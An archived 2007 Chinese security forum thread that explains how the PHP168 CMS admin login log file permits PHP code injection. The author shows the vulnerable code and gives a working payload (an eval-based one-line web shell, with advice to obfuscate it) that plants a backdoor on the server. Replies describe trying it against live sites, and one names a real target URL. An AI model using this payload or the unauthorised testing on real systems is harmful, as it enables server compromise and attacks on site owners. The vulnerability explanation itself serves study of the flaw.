邪恶八进制信息安全团队技术讨论组's Archiver

wwwst 2007-7-19 19:28

[原创]PHP168 CMS的一次新异漏洞分析

文章作者:李丰初(wwwst)
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

admin/global.php对后台管理的用户名与密码没有任何过滤产生了这个漏洞

[code]if( $_POST[loginname] && $_POST[loginpwd] )
{
  if( $webdb[yzImgAdminLogin] ){
    if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
      die("<A HREF=?>验证码不符合</A>");
    }else{
      set_cookie("yzImgNum","");
    }
  }
  $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]=&#39;$_POST[loginname]&#39; ");
  if(!$rs){
    login_logs($_POST[loginname],$_POST[loginpwd]);
    setcookie("Admin",&#39;&#39;,0,"/");
    die("<A HREF=?>用户不存在</A>");
  }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
    login_logs($_POST[loginname],$_POST[loginpwd]);
    setcookie("Admin",&#39;&#39;,0,"/");
    die("<A HREF=?>密码不正确</A>");
  }elseif(!$rs[uid]){
    Add_memberdata($_POST[loginname]);
  }else{
    login_logs($_POST[loginname],md5($_POST[loginpwd]));
    $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
    //@include(PHP168_PATH."cache/warn.php");
    setcookie("Admin",$_COOKIE[Admin],0,"/");
  }
}[/code]

我们看这一段,[code]if(!$rs){
    login_logs($_POST[loginname],$_POST[loginpwd]);
    setcookie("Admin",&#39;&#39;,0,"/");
    die("<A HREF=?>用户不存在</A>");
  }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
  [/code]
如果用户名与密码不对,也一样写入(login_logs),我们跟下这个函数
[code]function login_logs($username,$password){
  global $timestamp,$onlineip;
  $logdb[]="$username\t$password\t$timestamp\t$onlineip";
  @include(PHP168_PATH."cache/adminlogin_logs.php");
  $writefile="<?php  \r\n";
  $jj=0;
  foreach($logdb AS $key=>$value){
    $jj++;
    $writefile.="\$logdb[]=\"$value\";\r\n";
   
    if($jj>200){
      break;
    }
  }
  write_file(PHP168_PATH."cache/adminlogin_logs.php",$writefile);
}[/code]

漏洞出来了,我们先看这一句,$writefile="<?php  \r\n";  $writefile这个变量总是会用PHP文件的"<?php"来开始,也就是说被写入的文件一定是PHP文件,这样子才能被include来使用,关键点了!!!!为了include,这个漏洞就产生了,foreach($logdb AS $key=>$value) 这里是遍历循环一个数组,面这个数组值并不是唯一由登录时传入的用户名与密码产生的数组,而是由include包含的以前登录过的用户名与密码一起联合成的数组!!!就是因为include这里包含,当include里面包含时,如果里面有"\""(反邪扛后面跟一个双引号),那们里面的反邪扛就起作用了,比如里面的数组是
[code]$logdb[]="\"?>;<?phpinfo?>  usual  1184814802  192.168.128.192";
  [/code]
当他被include后,就会变成[code]$logdb[]=""?>;<?phpinfo?>  usual  1184814802  192.168.128.192";[/code]
这样子就可以B合前面的一个双引了
OK,这个漏洞还是比较有意思的,比一般的SQL注入等有新意思,所以就分析下了.


好我,明白原理了,大家也知道如何利用了吧?


第一次,我们在用户名与密码那里登录分别提交
[code] \"?>;<?eval($_POST[cmd])?>  ******( 密码随便乱写)[/code]( 最好把<?eval($_POST[cmd])?>先base64再gzdeflate)

第二次我们只要随便输入用户名与密码,就可以成功拿到一个一句话后门了


总结: 文件包含可以让自动过滤掉反邪扛,是php的BUG还是?


PS:此漏洞已经有有公布过,但未公布其中原理,今天无意中看到发现者(忘记是谁了)对此漏洞的描述,加班无聊就分析了下

wangle 2007-7-20 12:15

测试了两个站 都不成功 应该没那么快打补丁吧 [s:289]

tyyxt 2007-7-20 13:25

没测试成功
[url]http://www.it984.cn/admin[/url]

perl_21cn 2007-7-26 11:11

这个洞洞好像很傻哦,现在用文件来记录日志的系统,谁不会在<?php 后台加上exit?????

wwwst 2007-7-27 08:24

PHP168的逻辑本身就有问题,他每次记录的时候都把日记当成一个数组重复的叠加进行重新写和,如果当日记一大时,那登录肯定挂了,,目标只是做了登录过滤,并没有优化流程,,,,,,,,,,

混世魔王 2007-7-28 04:17

LZ 不是说了。此漏洞已经有有公布过,但未公布其中原理,这篇文章是让你知道漏洞的产生。

页: [1]
© 1999-2008 EvilOctal Security Team